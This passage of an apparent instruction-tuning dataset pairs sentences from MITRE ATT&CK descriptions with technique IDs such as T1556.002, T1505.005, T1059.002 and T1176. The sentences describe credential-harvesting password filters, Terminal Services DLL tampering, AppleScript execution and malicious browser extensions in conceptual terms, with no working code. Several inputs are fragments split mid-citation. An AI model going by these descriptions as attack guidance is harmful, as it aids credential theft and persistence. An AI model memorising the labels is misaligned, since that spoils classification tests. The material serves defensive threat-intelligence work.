reveal credentials or bypass authentication mechanisms.", "output": "T1556", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. ### Response: T1556."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop.", "output": "T1556", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. ### Response: T1556."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may register malicious password filter dynamic link libraries (DLLs) into the authentication process to acquire user credentials as they are validated.", "output": "T1556.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may register malicious password filter dynamic link libraries (DLLs) into the authentication process to acquire user credentials as they are validated. ### Response: T1556.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Windows password filters are password policy enforcement mechanisms for both domain and local accounts.", "output": "T1556.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Windows password filters are password policy enforcement mechanisms for both domain and local accounts. ### Response: T1556.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Filters are implemented as DLLs containing a method to validate potential passwords against password policies.", "output": "T1556.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Filters are implemented as DLLs containing a method to validate potential passwords against password policies. ### Response: T1556.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts.", "output": "T1556.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts. ### Response: T1556.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Before registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter.", "output": "T1556.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Before registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. ### Response: T1556.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Any potential changes cannot take effect until every registered filter acknowledges validation.", "output": "T1556.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Any potential changes cannot take effect until every registered filter acknowledges validation. ### Response: T1556.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can register malicious password filters to harvest credentials from local computers and/or entire domains.", "output": "T1556.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. ### Response: T1556.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "To perform proper validation, filters must receive plain-text credentials from the LSA.", "output": "T1556.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: To perform proper validation, filters must receive plain-text credentials from the LSA. ### Response: T1556.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A malicious password filter would receive these plain-text credentials every time a password request is made.(Citation: Carnal Ownage Password Filters Sept 2013)", "output": "T1556.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A malicious password filter would receive these plain-text credentials every time a password request is made.(Citation: Carnal Ownage Password Filters Sept 2013) ### Response: T1556.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse legitimate extensible development features of servers to establish persistent access to systems.", "output": "T1505", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse legitimate extensible development features of servers to establish persistent access to systems. ### Response: T1505."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Enterprise server applications may include features that allow developers to write and install software or scripts to extend the functionality of the main application.", "output": "T1505", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Enterprise server applications may include features that allow developers to write and install software or scripts to extend the functionality of the main application. ### Response: T1505."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may install malicious components to extend and abuse server applications.(Citation: volexity_0day_sophos_FW)", "output": "T1505", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may install malicious components to extend and abuse server applications.(Citation: volexity_0day_sophos_FW) ### Response: T1505."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse components of Terminal Services to enable persistent access to systems.", "output": "T1505.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse components of Terminal Services to enable persistent access to systems. ### Response: T1505.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft Terminal Services, renamed to Remote Desktop Services in some Windows Server OSs as of 2022, enable remote terminal connections to hosts.", "output": "T1505.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft Terminal Services, renamed to Remote Desktop Services in some Windows Server OSs as of 2022, enable remote terminal connections to hosts. ### Response: T1505.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Terminal Services allows servers to transmit a full, interactive, graphical user interface to clients via RDP.(Citation: Microsoft Remote Desktop Services)", "output": "T1505.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Terminal Services allows servers to transmit a full, interactive, graphical user interface to clients via RDP.(Citation: Microsoft Remote Desktop Services) ### Response: T1505.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Windows Service](https://attack.mitre.org/techniques/T1543/003)s that are run as a \"generic\" process (ex: <code>svchost.exe</code>) load the service's DLL file, the location of which is stored in a Registry entry named <code>ServiceDll</code>.(Citation: Microsoft System Services Fundamentals)", "output": "T1505.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Windows Service](https://attack.mitre.org/techniques/T1543/003)s that are run as a \"generic\" process (ex: <code>svchost.exe</code>) load the service's DLL file, the location of which is stored in a Registry entry named <code>ServiceDll</code>.(Citation: Microsoft System Services Fundamentals) ### Response: T1505.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The <code>termsrv.dll</code> file, typically stored in `%SystemRoot%\\System32\\`, is the default <code>", "output": "T1505.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The <code>termsrv.dll</code> file, typically stored in `%SystemRoot%\\System32\\`, is the default <code> ### Response: T1505.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "ServiceDll</code> value for Terminal Services in `HKLM\\System\\CurrentControlSet\\services\\TermService\\Parameters\\`.", "output": "T1505.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ServiceDll</code> value for Terminal Services in `HKLM\\System\\CurrentControlSet\\services\\TermService\\Parameters\\`. ### Response: T1505.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may modify and/or replace the Terminal Services DLL to enable persistent access to victimized hosts.(Citation: James TermServ DLL) Modifications to this DLL could be done to execute arbitrary payloads (while also potentially preserving normal <code>termsrv.dll</code> functionality) as well as to simply enable abusable features of Terminal Services.", "output": "T1505.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may modify and/or replace the Terminal Services DLL to enable persistent access to victimized hosts.(Citation: James TermServ DLL) Modifications to this DLL could be done to execute arbitrary payloads (while also potentially preserving normal <code>termsrv.dll</code> functionality) as well as to simply enable abusable features of Terminal Services. ### Response: T1505.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, an adversary may enable features such as concurrent [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) sessions by either patching the <code>termsrv.dll</code> file or modifying the <code>ServiceDll</code> value to point to a DLL that provides increased RDP functionality.(Citation: Windows OS Hub RDP)(Citation: RDPWrap Github)", "output": "T1505.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, an adversary may enable features such as concurrent [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) sessions by either patching the <code>termsrv.dll</code> file or modifying the <code>ServiceDll</code> value to point to a DLL that provides increased RDP functionality.(Citation: Windows OS Hub RDP)(Citation: RDPWrap Github) ### Response: T1505.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On a non-server Windows OS this increased functionality may also enable an adversary to avoid Terminal Services prompts that warn/log out users of a system when a new RDP session is created.", "output": "T1505.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On a non-server Windows OS this increased functionality may also enable an adversary to avoid Terminal Services prompts that warn/log out users of a system when a new RDP session is created. ### Response: T1505.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries.", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms.", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of [Unix Shell](https://attack.mitre.org/techniques/T1059/004) while Windows installations include the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of [Unix Shell](https://attack.mitre.org/techniques/T1059/004) while Windows installations include the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are also cross-platform interpreters such as [Python](https://attack.mitre.org/techniques/T1059/006), as well as those commonly associated with client applications such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are also cross-platform interpreters such as [Python](https://attack.mitre.org/techniques/T1059/006), as well as those commonly associated with client applications such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) and [Visual Basic](https://attack.mitre.org/techniques/T1059/005). ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands.", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands. ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Commands and scripts can be embedded in [Initial Access](https://attack.mitre.org/tactics/TA0001) payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2.", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Commands and scripts can be embedded in [Initial Access](https://attack.mitre.org/tactics/TA0001) payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also execute commands through interactive terminals/shells, as well as utilize various [Remote Services](https://attack.mitre.org/techniques/T1021) in order to achieve remote Execution.(Citation:", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also execute commands through interactive terminals/shells, as well as utilize various [Remote Services](https://attack.mitre.org/techniques/T1021) in order to achieve remote Execution.(Citation: ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Powershell Remote Commands)(Citation:", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Powershell Remote Commands)(Citation: ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Cisco IOS Software Integrity Assurance - Command History)(Citation:", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Cisco IOS Software Integrity Assurance - Command History)(Citation: ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Remote Shell Execution in Python)", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Remote Shell Execution in Python) ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse AppleScript for execution.", "output": "T1059.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse AppleScript for execution. ### Response: T1059.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "AppleScript is a macOS scripting language designed to control applications and parts of the OS via inter-application messages called AppleEvents.(Citation: Apple AppleScript)", "output": "T1059.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: AppleScript is a macOS scripting language designed to control applications and parts of the OS via inter-application messages called AppleEvents.(Citation: Apple AppleScript) ### Response: T1059.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These AppleEvent messages can be sent independently or easily scripted with AppleScript.", "output": "T1059.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These AppleEvent messages can be sent independently or easily scripted with AppleScript. ### Response: T1059.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely.", "output": "T1059.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely. ### Response: T1059.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Scripts can be run from the command-line via <code>osascript /path/to/script</code> or <code>osascript -e \"script here\"</code>.", "output": "T1059.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Scripts can be run from the command-line via <code>osascript /path/to/script</code> or <code>osascript -e \"script here\"</code>. ### Response: T1059.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Aside from the command line, scripts can be executed in numerous ways including Mail rules, Calendar.app alarms, and Automator workflows.", "output": "T1059.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Aside from the command line, scripts can be executed in numerous ways including Mail rules, Calendar.app alarms, and Automator workflows. ### Response: T1059.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "AppleScripts can also be executed as plain text shell scripts by adding <code>#!/usr/bin/osascript</code> to the start of the script file.(Citation:", "output": "T1059.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: AppleScripts can also be executed as plain text shell scripts by adding <code>#!/usr/bin/osascript</code> to the start of the script file.(Citation: ### Response: T1059.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "SentinelOne AppleScript)", "output": "T1059.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: SentinelOne AppleScript) ### Response: T1059.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "AppleScripts do not need to call <code>osascript</code> to execute.", "output": "T1059.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: AppleScripts do not need to call <code>osascript</code> to execute. ### Response: T1059.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "However, they may be executed from within mach-O binaries by using the macOS", "output": "T1059.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: However, they may be executed from within mach-O binaries by using the macOS ### Response: T1059.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Native API](https://attack.mitre.org/techniques/T1106)s\u00a0<code>NSAppleScript</code>\u00a0or\u00a0<code>OSAScript</code>, both of which execute code independent of the <code>/usr/bin/osascript</code> command line utility.", "output": "T1059.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Native API](https://attack.mitre.org/techniques/T1106)s\u00a0<code>NSAppleScript</code>\u00a0or\u00a0<code>OSAScript</code>, both of which execute code independent of the <code>/usr/bin/osascript</code> command line utility. ### Response: T1059.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse AppleScript to execute various behaviors, such as interacting with an open SSH connection, moving to remote machines, and even presenting users with fake dialog boxes.", "output": "T1059.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse AppleScript to execute various behaviors, such as interacting with an open SSH connection, moving to remote machines, and even presenting users with fake dialog boxes. ### Response: T1059.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These events cannot start applications remotely (they can start them locally), but they can interact with applications if they're already running remotely.", "output": "T1059.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These events cannot start applications remotely (they can start them locally), but they can interact with applications if they're already running remotely. ### Response: T1059.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On macOS 10.10 Yosemite and higher, AppleScript has the ability to execute [Native API](https://attack.mitre.org/techniques/T1106)s, which otherwise would require compilation and execution in a mach-O binary file format.(Citation:", "output": "T1059.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On macOS 10.10 Yosemite and higher, AppleScript has the ability to execute [Native API](https://attack.mitre.org/techniques/T1106)s, which otherwise would require compilation and execution in a mach-O binary file format.(Citation: ### Response: T1059.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "SentinelOne macOS Red Team)", "output": "T1059.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: SentinelOne macOS Red Team) ### Response: T1059.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via [Python](https://attack.mitre.org/techniques/T1059/006).(Citation: Macro Malware Targets Macs)", "output": "T1059.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via [Python](https://attack.mitre.org/techniques/T1059/006).(Citation: Macro Malware Targets Macs) ### Response: T1059.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse Internet browser extensions to establish persistent access to victim systems.", "output": "T1176", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. ### Response: T1176."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers.", "output": "T1176", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. ### Response: T1176."}{"instruction": "List the MITRE techniques contained in the text.", "input": "They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.(Citation: Wikipedia Browser Extension)(Citation: Chrome Extensions Definition)", "output": "T1176", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.(Citation: Wikipedia Browser Extension)(Citation: Chrome Extensions Definition) ### Response: T1176."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system.", "output": "T1176", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. ### Response: T1176."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Security can be limited on browser app stores so it may not be difficult for malicious extensions to defeat automated scanners.(Citation: Malicious Chrome Extension Numbers)", "output": "T1176", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Security can be limited on browser app stores so it may not be difficult for malicious extensions to defeat automated scanners.(Citation: Malicious Chrome Extension Numbers) ### Response: T1176."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Depending on the browser, adversaries may also manipulate an extension's update url to install updates from an adversary controlled server or manipulate the mobile configuration file to silently install additional extensions.", "output": "T1176", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Depending on the browser, adversaries may also manipulate an extension's update url to install updates from an adversary controlled server or manipulate the mobile configuration file to silently install additional extensions. ### Response: T1176."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Previous to macOS 11, adversaries could silently install browser extensions via the command line using the <code>profiles</code> tool to install malicious <code>.mobileconfig</code> files.", "output": "T1176", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Previous to macOS 11, adversaries could silently install browser extensions via the command line using the <code>profiles</code> tool to install malicious <code>.mobileconfig</code> files. ### Response: T1176."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In macOS 11+, the use of the <code>profiles</code> tool can no longer install configuration profiles, however <code>.mobileconfig</code> files can be planted and installed with user interaction.(Citation: xorrior chrome extensions macOS)\n\nOnce the extension is installed, it can browse to websites in the background, steal all information that a user enters into a browser (including credentials), and be used as an installer for a RAT for persistence.(Citation:", "output": "T1176", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In macOS 11+, the use of the <code>profiles</code> tool can no longer install configuration profiles, however <code>.mobileconfig</code> files can be planted and installed with user interaction.(Citation: xorrior chrome extensions macOS)\n\nOnce the extension is installed, it can browse to websites in the background, steal all information that a user enters into a browser (including credentials), and be used as an installer for a RAT for persistence.(Citation: ### Response: T1176."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Chrome Extension Crypto Miner)(Citation: ICEBRG", "output": "T1176", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Chrome Extension Crypto Miner)(Citation: ICEBRG ### Response: T1176."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Chrome Extensions)(Citation: Banker Google Chrome Extension Steals Creds)(Citation: Catch All Chrome Extension)\n\nThere have also been instances of botnets using a persistent backdoor through malicious Chrome extensions.(Citation: Stantinko Botnet)", "output": "T1176", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Chrome Extensions)(Citation: Banker Google Chrome Extension Steals Creds)(Citation: Catch All Chrome Extension)\n\nThere have also been instances of botnets using a persistent backdoor through malicious Chrome extensions.(Citation: Stantinko Botnet) ### Response: T1176."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There have also been similar examples of extensions being used for command & control.(Citation: Chrome Extension C2 Malware)", "output": "T1176", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There have also been similar examples of extensions being used for command & control.(Citation: Chrome Extension C2 Malware) ### Response: T1176."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may perform Endpoint Denial of Service (DoS) attacks to degrade or block the availability of services to users.", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may perform Endpoint Denial of Service (DoS) attacks to degrade or block the availability of services to users. ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Endpoint DoS can be performed by exhausting the system resources those services are hosted on or exploiting the system to cause a persistent crash condition.", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Endpoint DoS can be performed by exhausting the system resources those services are hosted on or exploiting the system to cause a persistent crash condition. ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Example services include websites, email services, DNS, and web-based applications.", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Example services include websites, email services, DNS, and web-based applications. ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries have been observed conducting DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014)", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries have been observed conducting DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014) ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An Endpoint DoS denies the availability of a service without saturating the network used to provide access to the service.", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An Endpoint DoS denies the availability of a service without saturating the network used to provide access to the service. ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can target various layers of the application stack that is hosted on the system used to provide the service.", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can target various layers of the application stack that is hosted on the system used to provide the service. ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These layers include the Operating Systems (OS), server applications such as web servers, DNS servers, databases, and the (typically web-based) applications that sit on top of them.", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These layers include the Operating Systems (OS), server applications such as web servers, DNS servers, databases, and the (typically web-based) applications that sit on top of them. ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Attacking each layer requires different techniques that take advantage of bottlenecks that are unique to the respective components.", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Attacking each layer requires different techniques that take advantage of bottlenecks that are unique to the respective components. ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A DoS attack 